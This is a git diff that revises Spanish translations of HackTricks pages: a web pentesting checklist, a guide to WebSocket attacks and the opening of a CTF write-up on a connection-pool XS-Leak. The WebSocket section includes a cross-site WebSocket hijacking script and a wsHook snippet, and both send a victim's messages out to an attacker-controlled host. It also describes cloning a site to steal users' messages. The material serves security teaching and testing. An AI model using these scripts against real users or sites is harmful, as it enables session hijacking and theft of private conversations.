* [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Falsificación de Solicitudes del Lado del Servidor**](../ssrf-server-side-request-forgery/)
* [ ] [**Inyección de Plantillas del Lado del Servidor**](../ssti-server-side-template-injection/)
* [ ] [**Nabbing de Pestañas Inverso**](../reverse-tab-nabbing.md)
* [ ] [**Inyección del lado del servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**XSS**](../xss-cross-site-scripting/)
* [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](../xs-search.md)
Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, otras solo requieren que el contenido se refleje. Puedes encontrar algunos políglotas interesantes para probar rápidamente las vulnerabilidades en:
Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, otras solo requieren que el contenido sea reflejado. Puedes encontrar algunos polyglots interesantes para probar rápidamente las vulnerabilidades en:
{% content-ref url="../pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/)
{% endcontent-ref %}
### **Funcionalidades de Búsqueda**
### **Funcionalidades de búsqueda**
Si la funcionalidad se puede utilizar para buscar algún tipo de datos dentro del backend, tal vez puedas (ab)usarla para buscar datos arbitrarios.
Si la funcionalidad puede ser utilizada para buscar algún tipo de datos dentro del backend, tal vez puedas (mal) utilizarla para buscar datos arbitrarios.
* [ ] [**Inclusión de Archivos/Travesía de Rutas**](../file-inclusion/)
* [ ] [**Inclusión de Archivos/Traversal de Ruta**](../file-inclusion/)
* [ ] [**Inyección NoSQL**](../nosql-injection.md)
* [ ] [**Inyección LDAP**](../ldap-injection.md)
* [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
@ -77,27 +78,27 @@ Si la funcionalidad se puede utilizar para buscar algún tipo de datos dentro de
### **Formularios, WebSockets y PostMsgs**
Cuando un websocket envía un mensaje o un formulario permite a los usuarios realizar acciones, pueden surgir vulnerabilidades.
Cuando un websocket publica un mensaje o un formulario que permite a los usuarios realizar acciones, pueden surgir vulnerabilidades.
* [ ] [**Falsificación de Peticiones entre Sitios**](../csrf-cross-site-request-forgery.md)
* [ ] [**Secuestro de WebSockets entre Sitios (CSWSH)**](../websocket-attacks.md)
* [ ] [**Falsificación de Solicitudes entre Sitios**](../csrf-cross-site-request-forgery.md)
* [ ] [**Secuestro de WebSocket entre sitios (CSWSH)**](../websocket-attacks.md)
* [ ] [**Vulnerabilidades de PostMessage**](../postmessage-vulnerabilities/)
### **Cabeceras HTTP**
### **Encabezados HTTP**
Dependiendo de las cabeceras HTTP proporcionadas por el servidor web, algunas vulnerabilidades podrían estar presentes.
Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
* [ ] [**Clickjacking**](../clickjacking.md)
* [ ] [**Bypass de Política de Seguridad de Contenido**](../content-security-policy-csp-bypass/)
* [ ] [**Hackeo de Cookies**](../hacking-with-cookies/)
* [ ] [**Hacking de Cookies**](../hacking-with-cookies/)
* [ ] [**CORS - Configuraciones Incorrectas y Bypass**](../cors-bypass.md)
### **Bypasses**
Existen varias funcionalidades específicas donde algunos trucos podrían ser útiles para evadirlos.
Hay varias funcionalidades específicas donde algunos métodos alternativos podrían ser útiles para eludirlas.
* [ ] [**Bypass de 2FA/OTP**](../2fa-bypass.md)
* [ ] [**Bypass de Proceso de Pago**](../bypass-payment-process.md)
* [ ] [**Bypass del Proceso de Pago**](../bypass-payment-process.md)
* [ ] [**Bypass de Captcha**](../captcha-bypass.md)
* [ ] [**Bypass de Inicio de Sesión**](../login-bypass/)
* [ ] [**Condición de Carrera**](../race-condition.md)
@ -108,48 +109,49 @@ Existen varias funcionalidades específicas donde algunos trucos podrían ser ú
### **Objetos Estructurados / Funcionalidades Específicas**
Algunas funcionalidades requerirán que los **datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Cabecera de Correo Electrónico).
Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezados de Correo Electrónico).
* [ ] [**Deserialización**](../deserialization/)
* [ ] [**Inyección de Cabecera de Correo Electrónico**](../email-injections.md)
* [ ] [**Inyección de Encabezados de Correo Electrónico**](../email-injections.md)
* [ ] [**Vulnerabilidades de JWT**](../hacking-jwt-json-web-tokens.md)
* [ ] [**Entidad Externa XML**](../xxe-xee-xml-external-entity.md)
### Archivos
Las funcionalidades que permiten cargar archivos podrían ser vulnerables a varios problemas.\
Las funcionalidades que permiten subir archivos podrían ser vulnerables a varios problemas.\
Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
Los usuarios que abren archivos cargados por usuarios o generados automáticamente incluyendo la entrada del usuario podrían ser comprometidos.
Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían verse comprometidos.
* [ ] [**Carga de Archivos**](../file-upload/)
* [ ] [**Subida de Archivos**](../file-upload/)
* [ ] [**Inyección de Fórmulas**](../formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**Inyección de PDF**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**XSS en el Lado del Servidor**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
* [ ] [**XSS del lado del servidor**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Gestión de Identidad Externa**
* [ ] [**OAUTH para Toma de Control de Cuenta**](../oauth-to-account-takeover.md)
* [ ] [**OAUTH para Toma de Cuenta**](../oauth-to-account-takeover.md)
* [ ] [**Ataques SAML**](../saml-attacks/)
### **Otras Vulnerabilidades Útiles**
Estas vulnerabilidades podrían ayudar a explotar otras vulnerabilidades.
* [ ] [**Toma de Control de Dominio/Subdominio**](../domain-subdomain-takeover.md)
* [ ] [**Toma de Dominio/Subdominio**](../domain-subdomain-takeover.md)
* [ ] [**IDOR**](../idor.md)
* [ ] [**Contaminación de Parámetros**](../parameter-pollution.md)
* [ ] [**Vulnerabilidad de Normalización Unicode**](../unicode-injection/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Ataques a WebSockets
# WebSocket Attacks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## ¿Qué son los WebSockets?
## Qué son los WebSockets
Las conexiones de WebSocket se establecen a través de un apretón de manos **HTTP** inicial y están diseñadas para ser **de larga duración**, permitiendo el intercambio bidireccional de mensajes en cualquier momento sin necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
Las conexiones WebSocket se establecen a través de un **handshake HTTP** inicial y están diseñadas para ser **de larga duración**, permitiendo la mensajería bidireccional en cualquier momento sin necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
### Establecimiento de Conexiones de WebSocket
### Establecimiento de Conexiones WebSocket
Una explicación detallada sobre el establecimiento de conexiones de WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones de WebSocket suelen iniciarse a través de JavaScript en el lado del cliente, como se muestra a continuación:
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket generalmente se inician a través de JavaScript del lado del cliente como se muestra a continuación:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
El protocolo `wss` indica una conexión WebSocket segura con **TLS**, mientras que `ws` indica una conexión **no segura**.
El protocolo `wss` significa una conexión WebSocket asegurada con **TLS**, mientras que `ws` indica una conexión **no asegurada**.
Durante el establecimiento de la conexión, se realiza un handshake entre el navegador y el servidor a través de HTTP. El proceso de handshake implica que el navegador envíe una solicitud y el servidor responda, como se ilustra en los siguientes ejemplos:
Durante el establecimiento de la conexión, se realiza un apretón de manos entre el navegador y el servidor a través de HTTP. El proceso de apretón de manos implica que el navegador envía una solicitud y el servidor responde, como se ilustra en los siguientes ejemplos:
El navegador envía una solicitud de handshake:
El navegador envía una solicitud de apretón de manos:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
@ -38,7 +39,7 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Respuesta de saludo del servidor:
Respuesta del apretón de manos del servidor:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
@ -47,61 +48,61 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
La conexión permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.
**Puntos clave del Handshake de WebSocket:**
**Puntos Clave del Handshake de WebSocket:**
- Los encabezados `Connection` y `Upgrade` señalan el inicio de un Handshake de WebSocket.
- El encabezado `Sec-WebSocket-Version` indica la versión deseada del protocolo WebSocket, generalmente `13`.
- Se envía un valor aleatorio codificado en Base64 en el encabezado `Sec-WebSocket-Key`, asegurando que cada Handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no es para autenticación, sino para confirmar que la respuesta no es generada por un servidor o caché mal configurados.
- Los encabezados `Connection` y `Upgrade` señalan el inicio de un handshake de WebSocket.
- El encabezado `Sec-WebSocket-Version` indica la versión del protocolo WebSocket deseada, generalmente `13`.
- Un valor aleatorio codificado en Base64 se envía en el encabezado `Sec-WebSocket-Key`, asegurando que cada handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no es para autenticación, sino para confirmar que la respuesta no es generada por un servidor o caché mal configurado.
- El encabezado `Sec-WebSocket-Accept` en la respuesta del servidor es un hash del `Sec-WebSocket-Key`, verificando la intención del servidor de abrir una conexión WebSocket.
Estas características aseguran que el proceso de Handshake sea seguro y confiable, allanando el camino para una comunicación en tiempo real eficiente.
Estas características aseguran que el proceso de handshake sea seguro y confiable, allanando el camino para una comunicación en tiempo real eficiente.
### Consola de Linux
Puedes usar `websocat` para establecer una conexión cruda con un websocket.
Puedes usar `websocat` para establecer una conexión en bruto con un websocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
O para crear un servidor de websocat:
O para crear un servidor websocat:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### Conexiones websocket MitM
### MitM websocket connections
Si descubres que los clientes están conectados a un **websocket HTTP** desde tu red local actual, podrías intentar un [Ataque de Suplantación de ARP](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
Una vez que el cliente esté intentando conectarse a ti, puedes usar:
Si descubres que los clientes están conectados a un **HTTP websocket** desde tu red local actual, podrías intentar un [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)para realizar un ataque MitM entre el cliente y el servidor.\
Una vez que el cliente esté intentando conectarse, puedes usar:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Enumeración de Websockets
Puedes utilizar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar automáticamente** **vulnerabilidades** conocidas en websockets.
Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar** **vulnerabilidades** **conocidas** en websockets automáticamente.
### Herramientas de depuración de Websockets
### Herramientas de depuración de Websocket
* **Burp Suite** admite la comunicación MitM de websockets de una manera muy similar a como lo hace para la comunicación HTTP regular.
* La extensión de **Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) te permitirá gestionar de manera más efectiva las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de intercepción**, utilizar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater**.
* **Burp Suite** soporta la comunicación de websockets MitM de manera muy similar a como lo hace para la comunicación HTTP regular.
* La [**extensión de Burp Suite**](https://github.com/snyk/socketsleuth) **socketsleuth** te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
* [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websocket** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs utilizando **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs utilizando **websockets**.
* [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL de websocket interactivo** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs usando **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs usando **websockets.**
## Laboratorio de Websocket
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web utilizando websockets y en [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web usando websockets y en [**esta publicación**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
## Secuestro de Websocket entre sitios (CSWSH)
## Secuestro de WebSocket entre sitios (CSWSH)
El **secuestro de Websocket entre sitios**, también conocido como **secuestro de Websocket entre orígenes cruzados**, se identifica como un caso específico de **[Falsificación de petición en sitios cruzados (CSRF)](csrf-cross-site-request-forgery.md)** que afecta a los handshakes de Websocket. Esta vulnerabilidad surge cuando los handshakes de Websocket se autentican únicamente a través de **cookies HTTP** sin **tokens CSRF** u otras medidas de seguridad similares.
El **secuestro de WebSocket entre sitios**, también conocido como **secuestro de WebSocket de origen cruzado**, se identifica como un caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afecta a los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente a través de **cookies HTTP** sin **tokens CSRF** o medidas de seguridad similares.
Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de Websocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión del usuario con la aplicación, explotando la falta de protección CSRF en el mecanismo de manejo de sesiones.
Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de WebSocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión de la víctima con la aplicación, aprovechando la falta de protección CSRF en el mecanismo de manejo de sesiones.
### Ataque Simple
Ten en cuenta que al **establecer** una conexión **websocket**, la **cookie** se **envía** al servidor. El **servidor** puede estar utilizándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** es **enviada** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
Entonces, si por **ejemplo** el **servidor websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **simple XSS** al establecer la conexión (la **cookie** se **enviará automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
Entonces, si por **ejemplo** el **servidor de websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** será **enviada** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -116,13 +117,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain
### Cross Origin + Cookie con un subdominio diferente
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **ejecutar JavaScript arbitrario en un subdominio** del dominio donde se estaba produciendo la comunicación del socket web. Debido a que era un **subdominio**, la **cookie** se estaba **enviando**, y debido a que el **Websocket no verificaba el Origen correctamente**, era posible comunicarse con él y **robar tokens de él**.
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **ejecutar Javascript arbitrario en un subdominio** del dominio donde estaba ocurriendo la comunicación por web socket. Debido a que era un **subdominio**, la **cookie** estaba siendo **enviada**, y como el **Websocket no verificó el Origin correctamente**, fue posible comunicarse con él y **robar tokens de él**.
### Robando datos del usuario
Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde se produce la comunicación del websocket, agrega este código:
Copia la aplicación web que deseas suplantar (los archivos .html por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket añade este código:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
@ -142,22 +143,22 @@ xhttp.send();
return messageEvent;
}
```
Ahora descarga el archivo `wsHook.js` desde [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través del websocket:
Ahora descarga el archivo `wsHook.js` de [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través de websocket:
```javascript
sudo python3 -m http.server 80
```
## Condiciones de Carrera
## Condiciones de carrera
Las Condiciones de Carrera en WebSockets también son una cosa, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
Las Condiciones de carrera en WebSockets también son un tema, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
## Otras vulnerabilidades
Dado que los WebSockets son un mecanismo para **enviar datos al lado del servidor y al lado del cliente**, dependiendo de cómo el servidor y el cliente manejen la información, **los WebSockets pueden ser utilizados para explotar varias vulnerabilidades como XSS, SQLi u cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket**.
Dado que los Web Sockets son un mecanismo para **enviar datos al lado del servidor y al lado del cliente**, dependiendo de cómo el servidor y el cliente manejen la información, **los Web Sockets pueden ser utilizados para explotar varias otras vulnerabilidades como XSS, SQLi o cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket.**
## **WebSocket Smuggling**
Esta vulnerabilidad podría permitirte **burlar las restricciones de los proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (aunque no sea cierto). Esto podría permitir a un atacante **acceder a puntos finales ocultos**. Para obtener más información, consulta la siguiente página:
Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a puntos finales ocultos**. Para más información, consulta la siguiente página:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
@ -167,16 +168,17 @@ Esta vulnerabilidad podría permitirte **burlar las restricciones de los proxies
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,45 +1,46 @@
# Ejemplos de Pool de Conexiones
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Sekaictf2022 - safelist
En el desafío [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) da un ejemplo de cómo usar una **variación** de la técnica de **Pool de Conexiones** para realizar una **XS-Leak**.
En este desafío, el objetivo es extraer una bandera que aparecerá en la sesión web de los bots dentro de un post. Estos son los activos que tiene el atacante:
* El **bot** visitará una **URL** proporcionada por el atacante.
* El atacante puede **inyectar HTML** en la página (pero no JS, se utiliza dompurify) abusando de un **CSRF** para hacer que el **bot cree un post** con ese HTML.
* El atacante puede abusar de un CSRF para hacer que el **bot** **elimine** el **primer post** dentro de la web.
